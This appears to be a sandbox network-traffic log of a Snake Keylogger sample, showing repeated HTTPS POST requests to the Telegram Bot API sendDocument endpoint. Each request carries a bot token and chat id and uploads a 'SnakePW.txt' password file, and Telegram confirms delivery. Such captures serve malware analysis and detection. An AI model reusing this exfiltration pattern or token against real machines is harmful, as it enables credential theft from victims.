2022-06-26 07:34:17 UTC	388	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 66 38 61 35 35 37 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570f8a5578Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:18 UTC	389	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:18 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:18 UTC	389	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 30 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67008,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228858,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
231	192.168.2.5	50142	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:18 UTC	390	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570fcd1726 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:18 UTC	390	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 66 63 64 31 37 32 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570fcd1726Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:18 UTC	390	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:18 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:18 UTC	391	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 30 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67009,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228858,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
232	192.168.2.5	50143	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:18 UTC	391	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571003ec9f Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:18 UTC	392	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 30 30 33 65 63 39 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571003ec9fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:18 UTC	392	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:18 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:18 UTC	392	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 31 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67010,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228858,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
233	192.168.2.5	50144	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:18 UTC	393	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757103f87eb Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:18 UTC	393	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 30 33 66 38 37 65 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757103f87ebContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:19 UTC	394	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:19 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:19 UTC	394	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 31 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67012,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228859,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
234	192.168.2.5	50145	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:19 UTC	395	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575710765e06 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:19 UTC	395	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 30 37 36 35 65 30 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575710765e06Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:19 UTC	395	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:19 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:19 UTC	396	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 31 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67013,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228859,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
235	192.168.2.5	50146	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:19 UTC	396	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575710b1f912 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:19 UTC	397	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 30 62 31 66 39 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575710b1f912Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:20 UTC	397	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:20 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:20 UTC	398	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 31 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67014,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228859,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
236	192.168.2.5	50147	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:20 UTC	398	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575710e8ce44 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:20 UTC	398	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 30 65 38 63 65 34 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575710e8ce44Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:20 UTC	399	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:20 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:20 UTC	399	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 31 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67015,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228860,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
237	192.168.2.5	50148	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:20 UTC	400	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757112469db Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:20 UTC	400	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 31 32 34 36 39 64 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757112469dbContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:20 UTC	401	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:20 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
